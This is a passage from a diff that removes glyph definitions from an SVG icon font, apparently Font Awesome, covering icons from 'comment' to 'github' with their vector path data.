-t54 105t64 100t74 83t90 68.5t106.5 42t128 16.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
-    <glyph glyph-name="comment" unicode="&#xf075;" horiz-adv-x="1792" 
-d="M1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22q-17 -2 -30.5 9t-17.5 29v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281
-q0 130 71 248.5t191 204.5t286 136.5t348 50.5q244 0 450 -85.5t326 -233t120 -321.5z" />
-    <glyph glyph-name="magnet" unicode="&#xf076;" 
-d="M1536 704v-128q0 -201 -98.5 -362t-274 -251.5t-395.5 -90.5t-395.5 90.5t-274 251.5t-98.5 362v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-128q0 -52 23.5 -90t53.5 -57t71 -30t64 -13t44 -2t44 2t64 13t71 30t53.5 57t23.5 90v128q0 26 19 45t45 19h384
-q26 0 45 -19t19 -45zM512 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45zM1536 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="chevron_up" unicode="&#xf077;" horiz-adv-x="1792" 
-d="M1683 205l-166 -165q-19 -19 -45 -19t-45 19l-531 531l-531 -531q-19 -19 -45 -19t-45 19l-166 165q-19 19 -19 45.5t19 45.5l742 741q19 19 45 19t45 -19l742 -741q19 -19 19 -45.5t-19 -45.5z" />
-    <glyph glyph-name="chevron_down" unicode="&#xf078;" horiz-adv-x="1792" 
-d="M1683 728l-742 -741q-19 -19 -45 -19t-45 19l-742 741q-19 19 -19 45.5t19 45.5l166 165q19 19 45 19t45 -19l531 -531l531 531q19 19 45 19t45 -19l166 -165q19 -19 19 -45.5t-19 -45.5z" />
-    <glyph glyph-name="retweet" unicode="&#xf079;" horiz-adv-x="1920" 
-d="M1280 32q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-8 0 -13.5 2t-9 7t-5.5 8t-3 11.5t-1 11.5v13v11v160v416h-192q-26 0 -45 19t-19 45q0 24 15 41l320 384q19 22 49 22t49 -22l320 -384q15 -17 15 -41q0 -26 -19 -45t-45 -19h-192v-384h576q16 0 25 -11l160 -192q7 -10 7 -21
-zM1920 448q0 -24 -15 -41l-320 -384q-20 -23 -49 -23t-49 23l-320 384q-15 17 -15 41q0 26 19 45t45 19h192v384h-576q-16 0 -25 12l-160 192q-7 9 -7 20q0 13 9.5 22.5t22.5 9.5h960q8 0 13.5 -2t9 -7t5.5 -8t3 -11.5t1 -11.5v-13v-11v-160v-416h192q26 0 45 -19t19 -45z
-" />
-    <glyph glyph-name="shopping_cart" unicode="&#xf07a;" horiz-adv-x="1664" 
-d="M640 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1536 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1664 1088v-512q0 -24 -16.5 -42.5t-40.5 -21.5l-1044 -122q13 -60 13 -70q0 -16 -24 -64h920q26 0 45 -19t19 -45
-t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 11 8 31.5t16 36t21.5 40t15.5 29.5l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t19.5 -15.5t13 -24.5t8 -26t5.5 -29.5t4.5 -26h1201q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="folder_close" unicode="&#xf07b;" horiz-adv-x="1664" 
-d="M1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
-    <glyph glyph-name="folder_open" unicode="&#xf07c;" horiz-adv-x="1920" 
-d="M1879 584q0 -31 -31 -66l-336 -396q-43 -51 -120.5 -86.5t-143.5 -35.5h-1088q-34 0 -60.5 13t-26.5 43q0 31 31 66l336 396q43 51 120.5 86.5t143.5 35.5h1088q34 0 60.5 -13t26.5 -43zM1536 928v-160h-832q-94 0 -197 -47.5t-164 -119.5l-337 -396l-5 -6q0 4 -0.5 12.5
-t-0.5 12.5v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158z" />
-    <glyph glyph-name="resize_vertical" unicode="&#xf07d;" horiz-adv-x="768" 
-d="M704 1216q0 -26 -19 -45t-45 -19h-128v-1024h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v1024h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45z" />
-    <glyph glyph-name="resize_horizontal" unicode="&#xf07e;" horiz-adv-x="1792" 
-d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-1024v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h1024v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
-    <glyph glyph-name="bar_chart" unicode="&#xf080;" horiz-adv-x="2048" 
-d="M640 640v-512h-256v512h256zM1024 1152v-1024h-256v1024h256zM2048 0v-128h-2048v1536h128v-1408h1920zM1408 896v-768h-256v768h256zM1792 1280v-1152h-256v1152h256z" />
-    <glyph glyph-name="twitter_sign" unicode="&#xf081;" 
-d="M1280 926q-56 -25 -121 -34q68 40 93 117q-65 -38 -134 -51q-61 66 -153 66q-87 0 -148.5 -61.5t-61.5 -148.5q0 -29 5 -48q-129 7 -242 65t-192 155q-29 -50 -29 -106q0 -114 91 -175q-47 1 -100 26v-2q0 -75 50 -133.5t123 -72.5q-29 -8 -51 -8q-13 0 -39 4
-q21 -63 74.5 -104t121.5 -42q-116 -90 -261 -90q-26 0 -50 3q148 -94 322 -94q112 0 210 35.5t168 95t120.5 137t75 162t24.5 168.5q0 18 -1 27q63 45 105 109zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5
-t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="facebook_sign" unicode="&#xf082;" 
-d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-188v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-532q-119 0 -203.5 84.5t-84.5 203.5v960
-q0 119 84.5 203.5t203.5 84.5h960z" />
-    <glyph glyph-name="camera_retro" unicode="&#xf083;" horiz-adv-x="1792" 
-d="M928 704q0 14 -9 23t-23 9q-66 0 -113 -47t-47 -113q0 -14 9 -23t23 -9t23 9t9 23q0 40 28 68t68 28q14 0 23 9t9 23zM1152 574q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM128 0h1536v128h-1536v-128zM1280 574q0 159 -112.5 271.5
-t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM256 1216h384v128h-384v-128zM128 1024h1536v118v138h-828l-64 -128h-644v-128zM1792 1280v-1280q0 -53 -37.5 -90.5t-90.5 -37.5h-1536q-53 0 -90.5 37.5t-37.5 90.5v1280
-q0 53 37.5 90.5t90.5 37.5h1536q53 0 90.5 -37.5t37.5 -90.5z" />
-    <glyph glyph-name="key" unicode="&#xf084;" horiz-adv-x="1792" 
-d="M832 1024q0 80 -56 136t-136 56t-136 -56t-56 -136q0 -42 19 -83q-41 19 -83 19q-80 0 -136 -56t-56 -136t56 -136t136 -56t136 56t56 136q0 42 -19 83q41 -19 83 -19q80 0 136 56t56 136zM1683 320q0 -17 -49 -66t-66 -49q-9 0 -28.5 16t-36.5 33t-38.5 40t-24.5 26
-l-96 -96l220 -220q28 -28 28 -68q0 -42 -39 -81t-81 -39q-40 0 -68 28l-671 671q-176 -131 -365 -131q-163 0 -265.5 102.5t-102.5 265.5q0 160 95 313t248 248t313 95q163 0 265.5 -102.5t102.5 -265.5q0 -189 -131 -365l355 -355l96 96q-3 3 -26 24.5t-40 38.5t-33 36.5
-t-16 28.5q0 17 49 66t66 49q13 0 23 -10q6 -6 46 -44.5t82 -79.5t86.5 -86t73 -78t28.5 -41z" />
-    <glyph glyph-name="cogs" unicode="&#xf085;" horiz-adv-x="1920" 
-d="M896 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1664 128q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1152q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5
-t90.5 37.5t37.5 90.5zM1280 731v-185q0 -10 -7 -19.5t-16 -10.5l-155 -24q-11 -35 -32 -76q34 -48 90 -115q7 -11 7 -20q0 -12 -7 -19q-23 -30 -82.5 -89.5t-78.5 -59.5q-11 0 -21 7l-115 90q-37 -19 -77 -31q-11 -108 -23 -155q-7 -24 -30 -24h-186q-11 0 -20 7.5t-10 17.5
-l-23 153q-34 10 -75 31l-118 -89q-7 -7 -20 -7q-11 0 -21 8q-144 133 -144 160q0 9 7 19q10 14 41 53t47 61q-23 44 -35 82l-152 24q-10 1 -17 9.5t-7 19.5v185q0 10 7 19.5t16 10.5l155 24q11 35 32 76q-34 48 -90 115q-7 11 -7 20q0 12 7 20q22 30 82 89t79 59q11 0 21 -7
-l115 -90q34 18 77 32q11 108 23 154q7 24 30 24h186q11 0 20 -7.5t10 -17.5l23 -153q34 -10 75 -31l118 89q8 7 20 7q11 0 21 -8q144 -133 144 -160q0 -8 -7 -19q-12 -16 -42 -54t-45 -60q23 -48 34 -82l152 -23q10 -2 17 -10.5t7 -19.5zM1920 198v-140q0 -16 -149 -31
-q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20
-t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31zM1920 1222v-140q0 -16 -149 -31q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68
-q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70
-q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31z" />
-    <glyph glyph-name="comments" unicode="&#xf086;" horiz-adv-x="1792" 
-d="M1408 768q0 -139 -94 -257t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224
-q0 139 94 257t256.5 186.5t353.5 68.5t353.5 -68.5t256.5 -186.5t94 -257zM1792 512q0 -120 -71 -224.5t-195 -176.5q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7
-q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230z" />
-    <glyph glyph-name="thumbs_up_alt" unicode="&#xf087;" 
-d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 768q0 51 -39 89.5t-89 38.5h-352q0 58 48 159.5t48 160.5q0 98 -32 145t-128 47q-26 -26 -38 -85t-30.5 -125.5t-59.5 -109.5q-22 -23 -77 -91q-4 -5 -23 -30t-31.5 -41t-34.5 -42.5
-t-40 -44t-38.5 -35.5t-40 -27t-35.5 -9h-32v-640h32q13 0 31.5 -3t33 -6.5t38 -11t35 -11.5t35.5 -12.5t29 -10.5q211 -73 342 -73h121q192 0 192 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5q32 1 53.5 47t21.5 81zM1536 769
-q0 -89 -49 -163q9 -33 9 -69q0 -77 -38 -144q3 -21 3 -43q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5h-36h-93q-96 0 -189.5 22.5t-216.5 65.5q-116 40 -138 40h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h274q36 24 137 155q58 75 107 128
-q24 25 35.5 85.5t30.5 126.5t62 108q39 37 90 37q84 0 151 -32.5t102 -101.5t35 -186q0 -93 -48 -192h176q104 0 180 -76t76 -179z" />
-    <glyph glyph-name="thumbs_down_alt" unicode="&#xf088;" 
-d="M256 1088q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 512q0 35 -21.5 81t-53.5 47q15 17 25 47.5t10 55.5q0 69 -53 119q18 31 18 69q0 37 -17.5 73.5t-47.5 52.5q5 30 5 56q0 85 -49 126t-136 41h-128q-131 0 -342 -73q-5 -2 -29 -10.5
-t-35.5 -12.5t-35 -11.5t-38 -11t-33 -6.5t-31.5 -3h-32v-640h32q16 0 35.5 -9t40 -27t38.5 -35.5t40 -44t34.5 -42.5t31.5 -41t23 -30q55 -68 77 -91q41 -43 59.5 -109.5t30.5 -125.5t38 -85q96 0 128 47t32 145q0 59 -48 160.5t-48 159.5h352q50 0 89 38.5t39 89.5z
-M1536 511q0 -103 -76 -179t-180 -76h-176q48 -99 48 -192q0 -118 -35 -186q-35 -69 -102 -101.5t-151 -32.5q-51 0 -90 37q-34 33 -54 82t-25.5 90.5t-17.5 84.5t-31 64q-48 50 -107 127q-101 131 -137 155h-274q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5
-h288q22 0 138 40q128 44 223 66t200 22h112q140 0 226.5 -79t85.5 -216v-5q60 -77 60 -178q0 -22 -3 -43q38 -67 38 -144q0 -36 -9 -69q49 -73 49 -163z" />
-    <glyph glyph-name="star_half" unicode="&#xf089;" horiz-adv-x="896" 
-d="M832 1504v-1339l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41z" />
-    <glyph glyph-name="heart_empty" unicode="&#xf08a;" horiz-adv-x="1792" 
-d="M1664 940q0 81 -21.5 143t-55 98.5t-81.5 59.5t-94 31t-98 8t-112 -25.5t-110.5 -64t-86.5 -72t-60 -61.5q-18 -22 -49 -22t-49 22q-24 28 -60 61.5t-86.5 72t-110.5 64t-112 25.5t-98 -8t-94 -31t-81.5 -59.5t-55 -98.5t-21.5 -143q0 -168 187 -355l581 -560l580 559
-q188 188 188 356zM1792 940q0 -221 -229 -450l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5
-q224 0 351 -124t127 -344z" />
-    <glyph glyph-name="signout" unicode="&#xf08b;" horiz-adv-x="1664" 
-d="M640 96q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h320q13 0 22.5 -9.5t9.5 -22.5q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-66 0 -113 -47t-47 -113v-704
-q0 -66 47 -113t113 -47h288h11h13t11.5 -1t11.5 -3t8 -5.5t7 -9t2 -13.5zM1568 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45z" />
-    <glyph glyph-name="linkedin_sign" unicode="&#xf08c;" 
-d="M237 122h231v694h-231v-694zM483 1030q-1 52 -36 86t-93 34t-94.5 -34t-36.5 -86q0 -51 35.5 -85.5t92.5 -34.5h1q59 0 95 34.5t36 85.5zM1068 122h231v398q0 154 -73 233t-193 79q-136 0 -209 -117h2v101h-231q3 -66 0 -694h231v388q0 38 7 56q15 35 45 59.5t74 24.5
-q116 0 116 -157v-371zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="pushpin" unicode="&#xf08d;" horiz-adv-x="1152" 
-d="M480 672v448q0 14 -9 23t-23 9t-23 -9t-9 -23v-448q0 -14 9 -23t23 -9t23 9t9 23zM1152 320q0 -26 -19 -45t-45 -19h-429l-51 -483q-2 -12 -10.5 -20.5t-20.5 -8.5h-1q-27 0 -32 27l-76 485h-404q-26 0 -45 19t-19 45q0 123 78.5 221.5t177.5 98.5v512q-52 0 -90 38
-t-38 90t38 90t90 38h640q52 0 90 -38t38 -90t-38 -90t-90 -38v-512q99 0 177.5 -98.5t78.5 -221.5z" />
-    <glyph glyph-name="external_link" unicode="&#xf08e;" horiz-adv-x="1792" 
-d="M1408 608v-320q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v320
-q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1792 1472v-512q0 -26 -19 -45t-45 -19t-45 19l-176 176l-652 -652q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l652 652l-176 176q-19 19 -19 45t19 45t45 19h512q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="signin" unicode="&#xf090;" 
-d="M1184 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45zM1536 992v-704q0 -119 -84.5 -203.5t-203.5 -84.5h-320q-13 0 -22.5 9.5t-9.5 22.5
-q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q66 0 113 47t47 113v704q0 66 -47 113t-113 47h-288h-11h-13t-11.5 1t-11.5 3t-8 5.5t-7 9t-2 13.5q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="trophy" unicode="&#xf091;" horiz-adv-x="1664" 
-d="M458 653q-74 162 -74 371h-256v-96q0 -78 94.5 -162t235.5 -113zM1536 928v96h-256q0 -209 -74 -371q141 29 235.5 113t94.5 162zM1664 1056v-128q0 -71 -41.5 -143t-112 -130t-173 -97.5t-215.5 -44.5q-42 -54 -95 -95q-38 -34 -52.5 -72.5t-14.5 -89.5q0 -54 30.5 -91
-t97.5 -37q75 0 133.5 -45.5t58.5 -114.5v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 69 58.5 114.5t133.5 45.5q67 0 97.5 37t30.5 91q0 51 -14.5 89.5t-52.5 72.5q-53 41 -95 95q-113 5 -215.5 44.5t-173 97.5t-112 130t-41.5 143v128q0 40 28 68t68 28h288v96
-q0 66 47 113t113 47h576q66 0 113 -47t47 -113v-96h288q40 0 68 -28t28 -68z" />
-    <glyph glyph-name="github_sign" unicode="&#xf092;" 
-d="M519 336q4 6 -3 13q-9 7 -14 2q-4 -6 3 -13q9 -7 14 -2zM491 377q-5 7 -12 4q-6 -4 0 -12q7 -8 12 -5q6 4 0 13zM450 417q2 4 -5 8q-7 2 -8 -2q-3 -5 4 -8q8 -2 9 2zM471 394q2 1 1.5 4.5t-3.5 5.5q-6 7 -10 3t1 -11q6 -6 11 -2zM557 319q2 7 -9 11q-9 3 -13 -4
-q-2 -7 9 -11q9 -3 13 4zM599 316q0 8 -12 8q-10 0 -10 -8t11 -8t11 8zM638 323q-2 7 -13 5t-9 -9q2 -8 12 -6t10 10zM1280 640q0 212 -150 362t-362 150t-362 -150t-150 -362q0 -167 98 -300.5t252 -185.5q18 -3 26.5 5t8.5 20q0 52 -1 95q-6 -1 -15.5 -2.5t-35.5 -2t-48 4
-t-43.5 20t-29.5 41.5q-23 59 -57 74q-2 1 -4.5 3.5l-8 8t-7 9.5t4 7.5t19.5 3.5q6 0 15 -2t30 -15.5t33 -35.5q16 -28 37.5 -42t43.5 -14t38 3.5t30 9.5q7 47 33 69q-49 6 -86 18.5t-73 39t-55.5 76t-19.5 119.5q0 79 53 137q-24 62 5 136q19 6 54.5 -7.5t60.5 -29.5l26 -16
-q58 17 128 17t128 -17q11 7 28.5 18t55.5 26t57 9q29 -74 5 -136q53 -58 53 -137q0 -57 -14 -100.5t-35.5 -70t-53.5 -44.5t-62.5 -26t-68.5 -12q35 -31 35 -95q0 -40 -0.5 -89t-0.5 -51q0 -12 8.5 -20t26.5 -5q154 52 252 185.5t98 300.5zM1536 1120v-960
-q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="upload_alt" unicode="&#xf093;" horiz-adv-x="1664" 
-d="M1280 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 288v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h427q21 -56 70.5 -92
-t110.5 -36h256q61 0 110.5 36t70.5 92h427q40 0 68 -28t28 -68zM1339 936q-17 -40 -59 -40h-256v-448q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v448h-256q-42 0 -59 40q-17 39 14 69l448 448q18 19 45 19t45 -19l448 -448q31 -30 14 -69z" />
-    <glyph glyph-name="lemon" unicode="&#xf094;" 
-d="M1407 710q0 44 -7 113.5t-18 96.5q-12 30 -17 44t-9 36.5t-4 48.5q0 23 5 68.5t5 67.5q0 37 -10 55q-4 1 -13 1q-19 0 -58 -4.5t-59 -4.5q-60 0 -176 24t-175 24q-43 0 -94.5 -11.5t-85 -23.5t-89.5 -34q-137 -54 -202 -103q-96 -73 -159.5 -189.5t-88 -236t-24.5 -248.5
-q0 -40 12.5 -120t12.5 -121q0 -23 -11 -66.5t-11 -65.5t12 -36.5t34 -14.5q24 0 72.5 11t73.5 11q57 0 169.5 -15.5t169.5 -15.5q181 0 284 36q129 45 235.5 152.5t166 245.5t59.5 275zM1535 712q0 -165 -70 -327.5t-196 -288t-281 -180.5q-124 -44 -326 -44
-q-57 0 -170 14.5t-169 14.5q-24 0 -72.5 -14.5t-73.5 -14.5q-73 0 -123.5 55.5t-50.5 128.5q0 24 11 68t11 67q0 40 -12.5 120.5t-12.5 121.5q0 111 18 217.5t54.5 209.5t100.5 194t150 156q78 59 232 120q194 78 316 78q60 0 175.5 -24t173.5 -24q19 0 57 5t58 5
-q81 0 118 -50.5t37 -134.5q0 -23 -5 -68t-5 -68q0 -13 2 -25t3.5 -16.5t7.5 -20.5t8 -20q16 -40 25 -118.5t9 -136.5z" />
-    <glyph glyph-name="phone" unicode="&#xf095;" horiz-adv-x="1408" 
-d="M1408 296q0 -27 -10 -70.5t-21 -68.5q-21 -50 -122 -106q-94 -51 -186 -51q-27 0 -53 3.5t-57.5 12.5t-47 14.5t-55.5 20.5t-49 18q-98 35 -175 83q-127 79 -264 216t-216 264q-48 77 -83 175q-3 9 -18 49t-20.5 55.5t-14.5 47t-12.5 57.5t-3.5 53q0 92 51 186
-q56 101 106 122q25 11 68.5 21t70.5 10q14 0 21 -3q18 -6 53 -76q11 -19 30 -54t35 -63.5t31 -53.5q3 -4 17.5 -25t21.5 -35.5t7 -28.5q0 -20 -28.5 -50t-62 -55t-62 -53t-28.5 -46q0 -9 5 -22.5t8.5 -20.5t14 -24t11.5 -19q76 -137 174 -235t235 -174q2 -1 19 -11.5t24 -14
-t20.5 -8.5t22.5 -5q18 0 46 28.5t53 62t55 62t50 28.5q14 0 28.5 -7t35.5 -21.5t25 -17.5q25 -15 53.5 -31t63.5 -35t54 -30q70 -35 76 -53q3 -7 3 -21z" />
-    <glyph glyph-name="check_empty" unicode="&#xf096;" horiz-adv-x="1408" 
-d="M1120 1280h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v832q0 66 -47 113t-113 47zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832
-q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="bookmark_empty" unicode="&#xf097;" horiz-adv-x="1280" 
-d="M1152 1280h-1024v-1242l423 406l89 85l89 -85l423 -406v1242zM1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289
-q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
-    <glyph glyph-name="phone_sign" unicode="&#xf098;" 
-d="M1280 343q0 11 -2 16t-18 16.5t-40.5 25t-47.5 26.5t-45.5 25t-28.5 15q-5 3 -19 13t-25 15t-21 5q-15 0 -36.5 -20.5t-39.5 -45t-38.5 -45t-33.5 -20.5q-7 0 -16.5 3.5t-15.5 6.5t-17 9.5t-14 8.5q-99 55 -170 126.5t-127 170.5q-2 3 -8.5 14t-9.5 17t-6.5 15.5
-t-3.5 16.5q0 13 20.5 33.5t45 38.5t45 39.5t20.5 36.5q0 10 -5 21t-15 25t-13 19q-3 6 -15 28.5t-25 45.5t-26.5 47.5t-25 40.5t-16.5 18t-16 2q-48 0 -101 -22q-46 -21 -80 -94.5t-34 -130.5q0 -16 2.5 -34t5 -30.5t9 -33t10 -29.5t12.5 -33t11 -30q60 -164 216.5 -320.5
-t320.5 -216.5q6 -2 30 -11t33 -12.5t29.5 -10t33 -9t30.5 -5t34 -2.5q57 0 130.5 34t94.5 80q22 53 22 101zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z
-" />
-    <glyph glyph-name="twitter" unicode="&#xf099;" horiz-adv-x="1664" 
-d="M1620 1128q-67 -98 -162 -167q1 -14 1 -42q0 -130 -38 -259.5t-115.5 -248.5t-184.5 -210.5t-258 -146t-323 -54.5q-271 0 -496 145q35 -4 78 -4q225 0 401 138q-105 2 -188 64.5t-114 159.5q33 -5 61 -5q43 0 85 11q-112 23 -185.5 111.5t-73.5 205.5v4q68 -38 146 -41
-q-66 44 -105 115t-39 154q0 88 44 163q121 -149 294.5 -238.5t371.5 -99.5q-8 38 -8 74q0 134 94.5 228.5t228.5 94.5q140 0 236 -102q109 21 205 78q-37 -115 -142 -178q93 10 186 50z" />
-    <glyph glyph-name="facebook" unicode="&#xf09a;" horiz-adv-x="1024" 
-d="M959 1524v-264h-157q-86 0 -116 -36t-30 -108v-189h293l-39 -296h-254v-759h-306v759h-255v296h255v218q0 186 104 288.5t277 102.5q147 0 228 -12z" />
-    <glyph glyph-name="github" unicode="&#xf09b;" 
-d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5q0 -251 -146.5 -451.5t-378.5 -277.5q-27 -5 -40 7t-13 30q0 3 0.5 76.5t0.5 134.5q0 97 -52 142q57 6 102.5 18t94 39t81 66.5t53 105t20.5 150.5q0 119 -79 206q37 91 -8 204q-28 9 -81 -11t-92 -44l-38 -24
